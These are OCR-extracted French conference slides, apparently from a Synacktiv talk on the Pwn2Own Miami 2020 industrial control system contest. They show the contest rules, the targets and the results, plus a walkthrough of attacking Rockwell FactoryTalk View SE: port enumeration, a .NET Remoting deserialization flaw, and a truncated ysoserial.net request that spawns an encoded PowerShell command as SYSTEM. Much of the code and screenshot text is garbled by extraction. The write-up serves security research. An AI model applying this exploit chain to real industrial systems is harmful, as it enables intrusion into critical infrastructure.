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Concours

Pwn20wn késako?

M “Zero Day Initiative” ZDI
B programme de bug bounty créé en 2005 par TippingPoint
B Priorité aux vulnérabilités & exploits 0-days
B “Pwn20wn” P20
Evenement bi/tri-annuel en marge de conférences de securité
B Premiére occurence & CanSecWest 2007
B Publie une liste de cibles et scénarios 3 mois en avance
B Démonstration “live” d’exploits 0-days
B Cash prizes importants : entre 5000$ et 100 000$




Concours .

Annonce officielle de ZDI
e Zero Day Initiative &
th

ICYMI: This week we announced #Pwn20wn
Miami - a new contest at the upcoming S4
conference focusing on ICS products. Read
all the details at

zerodayinitiative.com/blog
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Cible . .

Liste des catégories

B control Server

M iconics Genesis64

M Inductive Automation Ignition
B 0PC Unified Architecture Server

M unified Architecture ANSI C Demo Server

B 0PC Foundation OPC UA .NET Standard
M bneP3 Gateway

B Triangle Microworks SCADA Data Gateway
B Human Machine Interface (HMI)

B Rockwell Automation FactoryTalk View SE

B Schneider Electric EcoStruxure Operator
B Engineering Workstation Software

B Rockwell Automation Studio 5000




Cible

Annonce offi

elle de ZDI

An attempt against the Rockwell Automation FactoryTalk View SE target must be launched
against the target's exposed network services from the contestant’s laptop within the
contest network or against the target by opening a malicious file on the target machine. An
attempt against the Schneider Electric EcoStruxure Operator Terminal Expert must be
launched against the target by opening a malicious file on the target machine.

Cash Prize Master of Pwn
Target Paylead wsD) Points
Unauthenticated Crash or $5,000 5
Denial-of-Service
Rockwell Automation .
FactoryTalk View SE Information Disclosure $10,000 10
Remote Code Execution $20,000 20
Schneider Electric EcoStruxure
Operator Terminal Expert Remote Code Execution $20,000 20

For the HMI category, the Rockwell Automation product is eligible for the Continuation bonus
of $5,000 and 5 Master of Pwn points, but the Schneider Electric product is not.
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Surface d’attaque

t -a -b | ng -Context 1 0.0.0.0

WINDOWS\ em32> ne

.ocal Address Foreign Address

>

> LISTENING

> LISTENING

> 55 HMIClien LISTENING

> CP 0.0.0.0:6543 HMIClient:0 LISTENING
[RnaAeServer . exe]

> 0:8082 HMIClient:0 LISTENING

oxe]

> HMIClien LISTENING
[RnaAeServer.ex

> TCP  0.0.0.0:22350 HMIClien LISTENING

[CodeMeter. exe]
> TCP 0.0.0.0:22352 HMIClien
‘mWebAdmin.exe]
0.0.0:27000 HMIClient:0 LISTENING

LISTENING

]
> TCP 0.0.0.0:57400 HMIClient:0 LISTENING




Surface d’attaque

Port Process Language curl result

403 FTAE_HistServ.exe C++ N/A

1332 RdcyHost.exe C++ N/A

3060 RnabDirServer.exe C++ Error HTTP/0.9

4255 RsvcHost.exe C++ N/A

5241 RsvcHost.exe C++ N/A

6543 RnaAeServer.exe C++ N/A

8082 RNADiagnosticsSrv.exe  C# “Server encountered an internal error”
9111 RnaAeServer.exe C++ N/A

22350 CodeMeter.exe C++ retourne une 301 vers le port 22352
22352 CmWebAdmin.exe Go <HTML 200 status>

27000 Imgrd.exe C Error HTTP/0.9

57400 flexsvr.exe C Error HTTP/0.9




Surface d’attaque

Port Process Language curl result

403 FTAE_HistServ.exe C++ N/A

1332 RdcyHost.exe C++ N/A

3060 RnaDirServer.exe C++ Error HTTP/0.9

4255 RsvcHost.exe C++ N/A

5241 RsvcHost.exe C++ N/A

6543 RnaAeServer.exe C++ N/A

8082 RNADiagnosticsSrv.exe  C# “Server encountered an internal error”
9111 RnaAeServer.exe C++ N/A

22350 CodeMeter.exe C++ retourne une 301 vers le port 22352
22352  CmWebAdmin.exe Go <HTML 200 status>

27000  Imgrd.exe c Error HTTP/0.9

57400 flexsvr.exe C Error HTTP/0.9




Recherche de vulnérabilité

PS C:\Users\bob> curl http://127.0.0.1:8082/
curl : System.ArgumentNullException: No message was deserialized prior to calling
the DispatchChannelSink.
Parameter name: requestMsg
at System.Runtime.Remoting.Channels.DispatchChannelSink.ProcessMessage(
IServerChannelSinkStack sinkStack, IMessage requestMsg,
ITransportHeaders requestHeaders, Stream requestStream, IMessage& responseMsg,
ITransportHeaders& responseHeaders, Stream& responseStream)
System.Runtime.Remoting.Channels.BinaryServerFormatterSink.ProcessMessage(
IServerChannelSinkStack sinkStack, IMessage requestMsg,
ITransportHeaders requestHeaders, Stream requestStream, IMessage& responseMsg,
ITransportHeaders& responseHeaders, Stream& responseStream)
at System.Runtime.Remoting.Channels.Http.HttpServerTransportSink.ServiceRequest(
Object state)
at System.Runtime.Remoting.Channels.SocketHandler.ProcessRequestNow()
At line:1 char:1
+ curl http://127.0.0.1:8082/

a

o

+ CategoryInfo : InvalidOperation: (System.Net.HttpWebRequest:
HttpWebRequest) [Invoke-WebRequest], WebException
+ FullyQualifiedErrorId : WebCmdletWebResponseException,Microsoft.PowerShell.
Commands . InvokeWebRequestCommand
PS C:\Users\bob>




Recherche de vulnérabilité

ing[] args)

¢ num rt)1404764160;

¢ num2 = numj
(short)147982593a;

¢ num3 = num;
(short)386357770;

ch (num3 == num)

(short)1504444417;
if (num != @)

£)1134755840;

¢ dictionary =

r clientSinkProvider
dlctlﬂnaryz = ne —a:htab's();
d1:t1onary2[ port” :
HttpChannel chnl = ne mnne_(dlctwnaryZ, clientSinkProvider,
Channelse 5 (chnl);

WellKnownObjectMode. M|

ormattersinkProvider(dictionary,

ientFormatterSinkProy r();

serverSinkProvider);

"FactoryTalkLogReader™,
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Recherche de vulnérabilité

Google

.net remoting vuln L Q

2] News ¢ Shopping i More Settings Tools

About 2

github.com » tyranid » ExploitRemotingService

tyranid/ExploitRemotingService: A tool to exploit .NET ... - GitHub
Atool to exploit .NET Remoting Services. Contribute to tyranid/ExploitRemotingService
development by creating an account on GitHub.

www.ncegroup.trust » newsroom-and-events » blogs » march s findin... «

Flndmg and Exploiting .NET Remoting over ... - NCC Group

9 - This blog post explains how to find and EXp|DIT. a vulnerable application that uses

NET Remoting over HTTP using ysoserial.net gadgets [1]




Recherche de vulnérabilité

Finding and Exploiting .NET Remoting over HTTP
using Deserialisation

Introduction

During a recent security assessment at NCC Group | found a .NET v2.0 application that used .NET
Remoting to communicate with its server over HTTP by sending SOAP requests. After decompiling the
application | realised that the server had set thg¢ TypeFilterLevel to Full which is dangerous as it

can potentially lead to remote code execution USTTy UESETENSAEIUT altacks. However, the exploitation

was not as straight forward as | initially expected it to be.

As a result, | performed research to create a guideline for penetration testers in order to make testing in
this domain easier in the future. This blog post explains how to find and exploit a vulnerable application
that uses .NET Remoting over HTTP using ysoserial.net gadgets [1].

A NET project containing a vulnerable client and server has also been created for fraining purposes and
is accessible publicly at [2].




Recherche de vulnérabilité

short)386357770;
i (num3 == num)

~t)1134755848;
if (num 1= @)

nary dictionary
ictionary[" 1 3
ITaryServ serversinkProvider

mattersinkProvider clientSinkProvider ne inary entFormattersinkPro
nary d1ct10nar‘y2 new Hashtable();
d1ct1nnary2[ port™ B
Channel chnl = ne ttpChannel(dictionary2, clientSinkProvider, serverSinkProvider);
Channelser: 5 (chnl);

WellKnownObjectMode. 3

m
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Recherche de vulnérabilité

a (32 NE s
File - » Continue

Edit View Debug Window Hep @
CoreChannel
inputStrean, requestitsg,
0h bStrictBinding)

er soapFormatter , bStrictBinding);
methodResponse t
soapFormatter (inputStrean,

methodResponse;

)
(methodResponse s

SCTED hess chjectind, Stresm dnputstress,
RS s " bstrictainting, Typerilteriovel securitylevel
{ e e rr—
biaormtier = eeamityierel;
iler gobiect
e sageoinaryForatier -UnsafepeserislizeinputStream new Headertandlei
)

andler (objecturi);

n inputStrean,
100%
CallStack
[
(tring objectUri, System. 0.Stream inp
tem Runtime Remoting Channels.
state) (IL=0x0033, Native:

ISystem Runtime Remoting.Channels
ISystem Runtime Remoting.Channels Binary Serve
ISystem Runtime Remoting.Channels.Htp.Hitp eReque:
ISystem Runtime Remoting.Channels:SocketHar 0 (L=0<000A, Native:
ISystem Runtime Remoting.Channels Re ystem Runtime Remoting.Channels SocketH:

(system ar) (L= epilog, Native:

)@ 9,0,0,0,0,00.0

ISystem Runtime Remoting.Channels:SocketHar
esult.C e(System171s userToken) (IL=0<003E, Native=0x721CACS0+0x66)

System.Net LazyA:

System.Net.Context, state) (IL=epilog, Native=0x721F9D08+ 0xD)

PRPRRRD S

Breakpoint #1

| |
u 18/32
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Exploitation

YSoSerial.Net

A proof-of-concept tool for generating payloads that exploit unsafe .NET object deserialization.

()stars 889 | ()Forks 153

Source : https://github.com/pwntester/ysoserial.net



https://github.com/pwntester/ysoserial.net

Exploitation

ve
ip, deflate
*/%
ent-Length: 25540

Content-Type: application/oc

t-stream
Version=3.0.0.0, Culture=neutral, PublicK
FormattingRunPr

yToken=31

erties regroundBrush

.Diagnostics
"LaunchCalc" Obj
thodParamete
rshell.exe</S

MethodName = "Start" >

tem:String>-e
ZgB1AG4AYWBOAGkAbWBUACAAUABVAHAALQBDAGEADABjACgAKQAgAHSACEAGACAATAAEACQAUS
[ snipped 24000 characters ..
AGWAYwAUAGUAeABLACCAKQA7AAOAQAKAAOAUABVAHAALQBDAGEADABjAA=="" </S;

</ObjectDataProvider.MethodParameters>
</0bjectDataProvider>

</ResourceDictionar;

HTTP/1.1 200 OK

Content-Type: application/octet-stream

MS .NET CLR 4.0.30319.42000

AHUA

JAGUATIAA9ACA

em:String>

Server: MS .NET Remotin
Content-Length: 479

System.Runtime.Remotin,

ClassName.Message.Data.
onMethod.HResult.
)8

or more information, turn off

emoteStackTra

ceString.

Source WatsonBuckets. . tem.Collections.IDictionary.System.Exception... tem.Runtime.

Remoting.RemotingException. ....oServer encountered an internal error

customErrors in the server's .config file.




Exploitation

B process Hacker [HMICLIEN Tabuser]+ (Administrator)

Hacker View Tools Users Help

, Refresh {3 Options | #8 Find handles or DLLs 4% System information | [ [ € R
Processes | Services Network Disk
Name PID  CPU I/Ototal.. Privateb.. Username Description B
[i] FTABArchiverexe 2668 505MB NTAUTHORITN\SYSTEM  Rockwell Automation, Inc. Component
[ FTAE HistServ.exe 6 32B/s  434MB NTA.\LOCALSERVICE Rockwell Automation, Inc. Component
[ FTSysDiagSvcHost.exe 2748 25MB NTA.ALOCALSERVICE  Rockwell Automation, Inc. Component
[ ViewsharedSenvice.exe Fri7) 195MB NTAUTHORITSYSTEM ViewSharedService
[ FViewSenviceHost.eve 2216 974MB NTA.\LOCALSERVICE FlViewActivationHost.exe
[ svehostexe 232 394MB  NTAUTHORITY\SYSTEM  Host Process for Windaws Services
[ svchostexe 2840 244MB  NTAUTHORITN\SYSTEM  Host Process for Windows Services
@) NmspHost.exe 2864 385MB NTAUTHORITASYSTEM  Rockwell Namespace Services
~ [ RNADiagnasticsSrv.exe 2964 004 1979 M NTAUTHORITVASYSTEM  FactoryTalk Diagnostics Reader
v 53 powershell.ece 9024 015 284kB/s 4518ME NTAUTHORITVSYSTEM Windows PowerShel
B cof g WindowsPomerShellw] D\powershelexe” - (ggm
[ svchost.e ACOAVWBPAGAAR A AZQBY SACgAgA By LQE! GUACwBZ!
[ suechost.g BOBIACAAIWBNAHNM 1—&TCBW-—\EUAV9Bn—\(«l-—\ZCB«lAGU—UwAg—&("AFgBV —«H\Af»\‘B\ACAALCBF—«H\Ach AHIAGQBAHQASE: AGAAIRE)
@) Eventer] AGEADGBAHIAZOATAROATQAK AARWBIAHOALQBDA DAUNBOAGEA
AABIACGAWWBTAHKA CwBOAGUADQAUAE4AZQBOACAAUWEYAGMAZWBIAHQACHAUAFQAY:
[E svchostq AG4AZOBAHQARQEY AGIAKQAGAHSACGAGACAAIAAGACOAYWBYAG4AbGBIAGMAJABpA A A AIABbAFMA
& vmtoolsd Q2 HOAZOBIACAATBIAHOALGBOAGUA ABpAGEAbgA AbwBIAGEAbAB
[CRERIS At A ACAAVwBOAGUAEGBIACGAI
AVwBoAGUACGBIACGA!
[ Mok IAAGACAAJABFACAATABYAGMAYQBSAEUA B OAZOBXACAAJABIA...
[ MsMpEn:
[ svchost.e o Shell\w1.0\powershell,
[ svehostd  Windows PowerShell 10.0.18362.1
[ Imgrde] | Micrezeft Corperatien
B conhg  Signer: Microsoft W Nindows
V[E Imgrd| Console ho:
I flel_Proc
[ svchostexe 4040 179MB  N.\NETWORK SERVICE  Host Process for Windows Services
[ dithost.exe 12 391MB NTAUTHORTWSYSTEM COM Surrogate
@) EventClientMutiplexer.exe 49356 001 634MB NTAUTHORITN\SYSTEM  Event Client Muttiplexor
I suehost £ 481MB HMICIENThoh d 9

CPU Usage: 10.49%  Physical memory: 2.86 GB (71.61%) Processes: 181

SN
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Concours

[ Le premier jour, tirage au sort pour les passages

H “Show time”, tu as 3 essais (3 sessions de 5 mins, ne peut pas dépasser 20 mins au total)
pour faire passer ton exploit.

Debrief’ avec I'équipe de ZDI, afin de checker la validité de la vulnérabilité et les potentiels
doublons

HE Présentation de la vulnérabilité & exploit au vendeur




Concours . .

Participants

M InciteTeam: @mufinnnnnnn & @stevenseeley (ZDI researchers)
Tobias Scharnowski, Niklas Breitfeld, Ali Abbasi (PhD “students”)
Flashback Team : (ZDI researchers)

Claroty Research (ICS security company)

Ben McBride (Oak Ridge National Observatory)

Fabius Artrel (VerSprite)

Michael Stepankin (VeraCode)

Lucas Georges (Synacktiv)




Concours

Pwn20win

e ——

LUCAS GEORGES

SYNACKTIV

m
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Concours
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Résultats

Team Target Type Result
Day 1

Incite Triangle Gateway DOS Success
Claroty Genesis64 DOS Success
Incite Rockwell HMI RCE Partial
Fabius Rockwell HMI RCE Partial
Germans Rockwell HMI RCE Success
Flashback Genesis64 RCE Success
Germans Genesis64 RCE Success
Flashback Ignition DOS Success
Day2

Incite Ignition RCE Success
Claroty Schneider RCE Success
Flashback Rockwell HMI RCE Success
Claroty Ignition RCE Partial
Claroty Ignition RCE Success
Incite Schneider RCE Failure
Ben McBride Genesis64 Leak Failure
Ben McBride Ignition DOS Partial
Day 3

Incite Studio 5000 RCE Success
Claroty Triangle Gateway DOS Partial
Stepankin Ignition RCE Partial
Incite OPC UA .NET DOS Success
Incite Genesis64 RCE Success
Claroty Rockwell HMI RCE Success
Germans Triangle Gateway RCE Success
Ben McBride Ignition RCE Partial
L.Georges Rockwell HMI RCE Partial




Concours

“The {{team}} successfully demonstrated the RCE, but the bug used had been
previously reported”

ZDI-CAN-10268 Cvss: 2020-01-30 2020-05-29

Discovered by: Chris Anastasio (muffin) and Steven Seeley (mr_me) of Incite Team (1 days ago)

ZDI-CAN-9309 Cvss: 2019-10-01 2020-01-29

Discovered by: rgod of 9sg (122 days ago)
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Conclusion

After all, if a collection of two-hacker teams incentivized with a mere $25,000 can hunt down hackable flaws in
industrial control system software in a matter of months, the state-sponsored hackers with bigger budgets, years-

long timelines, and far more malicious intentions can, too

Source : https://www.wired.com/story/pwn2own-industrial-hacking-contest/



https://www.wired.com/story/pwn2own-industrial-hacking-contest/

Concours . .

M Pwn20wn -> Xxe2Rce : http://muffsec.com/blog/?p=608

B nttps://srcincite.io/blog/2020/02/18/silent-schneider-revealing-a-hidden-patch-in-
ecostruxure-operator-terminal-expert.html

M nhttps://www.zerodayinitiative.com/blog/2020/8/24/cve-2020-10611-achieving-code-
execution-on-the-triangle-microworks-scada-data-gateway

[ | https://github.com/pedrib/PoC/blob/master/advisories/Pwn20wn/Miami_2020/

[ | https://www.synacktiv.com/publications/izi-izi-pwn2own-ics-miami.html



http://muffsec.com/blog/?p=608
https://srcincite.io/blog/2020/02/18/silent-schneider-revealing-a-hidden-patch-in-ecostruxure-operator-terminal-expert.html
https://srcincite.io/blog/2020/02/18/silent-schneider-revealing-a-hidden-patch-in-ecostruxure-operator-terminal-expert.html
https://www.zerodayinitiative.com/blog/2020/8/24/cve-2020-10611-achieving-code-execution-on-the-triangle-microworks-scada-data-gateway
https://www.zerodayinitiative.com/blog/2020/8/24/cve-2020-10611-achieving-code-execution-on-the-triangle-microworks-scada-data-gateway
https://github.com/pedrib/PoC/blob/master/advisories/Pwn2Own/Miami_2020/
https://www.synacktiv.com/publications/izi-izi-pwn2own-ics-miami.html

AVEZ-VOUS
DES QUESTIONS?

MERCI DE VOTRE ATTENTION

1 SYNACKTIV

I EDIGITAL SECURITY
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